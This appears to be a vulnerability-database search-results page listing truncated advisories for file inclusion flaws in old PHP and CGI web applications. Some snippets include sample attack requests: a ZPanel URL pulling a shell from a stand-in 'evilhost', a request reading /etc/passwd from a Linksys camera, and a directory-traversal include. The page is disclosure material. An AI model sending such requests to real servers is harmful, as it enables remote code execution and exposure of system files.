562 matches found
Yappa-ng 1.x2.x - Remote File Inclusion
Yappa-ng 1.x2.x - Remote File Inclusion source: https://www.securityfocus.com/bid/13371/info yappa-ng is prone to a remote file include vulnerability. This issue may let remote attackers include and execute malicious remote PHP scripts. The vendor has not published any specific details about this...
AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dcrab 's Security Advisory Hsc Security Group http://www.hackerscenter.com/ dP Security http://digitalparadox.org/ Severity: High Title: AlstraSoft EPay Pro v2.0 has file include and multiple xss vulnerabilities Date: 02/04/2005 Vendor: AlstraSoft...
ZPanel <= 2.5 Remote SQL Injection Exploit
No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...
phpCOIN <= 1.2.1b Multiple Vulnerabilities
The remote host is running phpCOIN version 1.2.1b or older. These versions suffer from several vulnerabilities, among them : - A Local File Include Vulnerability An attacker can execute arbitrary code in the context of the web server user by passing the name of a script or file through the 'page'...
phpMyAdmin261.txt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 phpMyAdmin 2.6.1 Remote file inclusion and XSS cXIb8O3.4 Author: Maksymilian Arciemowicz cXIb8O3 Date: 24.2.2005 - --- 0.Description --- phpMyAdmin 2.6.1 is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently i...
CVE-2003-1086
CVE-2003-1086 is a PHP remote file inclusion vulnerability in pm/lib.inc.php affecting pMachine Free and pMachine Pro 2.2/2.2.1. The issue arises from unvalidated pm_path, allowing an attacker to reference a remote URL containing PHP code and execute it on the server. Impact is remote code execut...
[SA13849] MPM Guestbook Pro "header" File Inclusion Vulnerability
TITLE: MPM Guestbook Pro "header" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA13849 VERIFY ADVISORY: http://secunia.com/advisories/13849/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: MPM Guestbook Pro 1.x http://secunia.com/product/4516/ DESCRIPTION: SmOk3...
[SA13769] Zeroboard "dir" File Inclusion Vulnerability
TITLE: Zeroboard "dir" File Inclusion Vulnerability SECUNIA ADVISORY ID: SA13769 VERIFY ADVISORY: http://secunia.com/advisories/13769/ CRITICAL: Highly critical IMPACT: System access WHERE: From remote SOFTWARE: Zeroboard 4.x http://secunia.com/product/4457/ DESCRIPTION: Optik4Lab has reported a...
phplinks2.txt
In-Reply-To: Hi, This is also a php inclusion bug. You can include any .php script on remote system with "PHP Links". Request like this will include script "execute.php" in "/some/some" directory: www.site.com/phplinks/index.php?show=../../../../../../some/some/execute So, if you have FTP access ...
Posible Inclusion File in Perl Desk
Posible Inclusion File in Perl Desk 0000-0002 Adv-Nkxtox Date 12/09/04 Author Nikyt0x nikyt0xathotmaildotcom Site Http://nikyt0x.webcindario.com Information PerlDesk is a feature packed web based help desk and email management application designed to streamline the operation of managing emails or...
Artmedic Webdesign Kleinanzeigen Script - Remote File Inclusion
Artmedic Webdesign Kleinanzeigen Script - Remote File Inclusion / source: https://www.securityfocus.com/bid/10746/info Kleinanzeigen is prone to a file include vulnerability. This issue could allow a remote attacker to include malicious files containing arbitrary code to be executed on a vulnerab...
[UNIX] Artmedic Links File Inclusion Vulnerability
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...
tn-linksys.txt
---------------------------------- Telconinjas Computer Security Lab Contact: [email protected] Severity: Low Vendor: Linksys ---------------------------------- Affected Products: Linksys Wireless Internet Camera Version 2.12 was the only testbed available, though I am sure other versions near this...
pivot1.1.0SoundwaveAdv.txt
Pivot 1.10 Soundwave - Remote Code Execution -------------------------------------------- loofus - 0x90.org Greets: ------- Downbload, nummish, peace, war-cow & the rest of 0x90.org Description: ------------ Pivot is a tool to create weblogs, without the need of a database. Pivot is easy to setup...
Linksys Web Camera File Inclusion Vuln
Linksys Web Camera version 2.10 only tested with 2.10 is vulnerable to a file inclusion vulnerability in main.cgi Example: http://www.host.com/main.cgi?nextfile=/etc/passwd...
PHP-Nuke 6.x7.x - Modpath File Inclusion
PHP-Nuke 6.x7.x - Modpath File Inclusion source: https://www.securityfocus.com/bid/10365/info PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issu...
VisualShapers EZContents 1.x2.0 - archivednews.php Arbitrary File Inclusion
VisualShapers EZContents 1.x2.0 - archivednews.php Arbitrary File Inclusion source: https://www.securityfocus.com/bid/9638/info It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence t...
VisualShapers EZContents 1.x/2.0 - 'db.php' Arbitrary File Inclusion
source: https://www.securityfocus.com/bid/9638/info It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALSrootdp' and 'GLOBALSlanguagehome' variables in the 'db.php' and...
VisualShapers EZContents 1.x/2.0 - 'archivednews.php' Arbitrary File Inclusion
source: https://www.securityfocus.com/bid/9638/info It has been reported that ezContents may be prone to a file include vulnerability in multiple modules. The problem reportedly exists because remote users may influence the 'GLOBALSrootdp' and 'GLOBALSlanguagehome' variables in the 'db.php' and...
Laurent Adda Les Commentaires 2.0 - PHP Script fonctions.lib.php Remote File Inclusion
Laurent Adda Les Commentaires 2.0 - PHP Script fonctions.lib.php Remote File Inclusion source: https://www.securityfocus.com/bid/9536/info It has been reported that Les Commentaires may be prone to a file include vulnerability in various modules, that may allow an attacker to include malicious...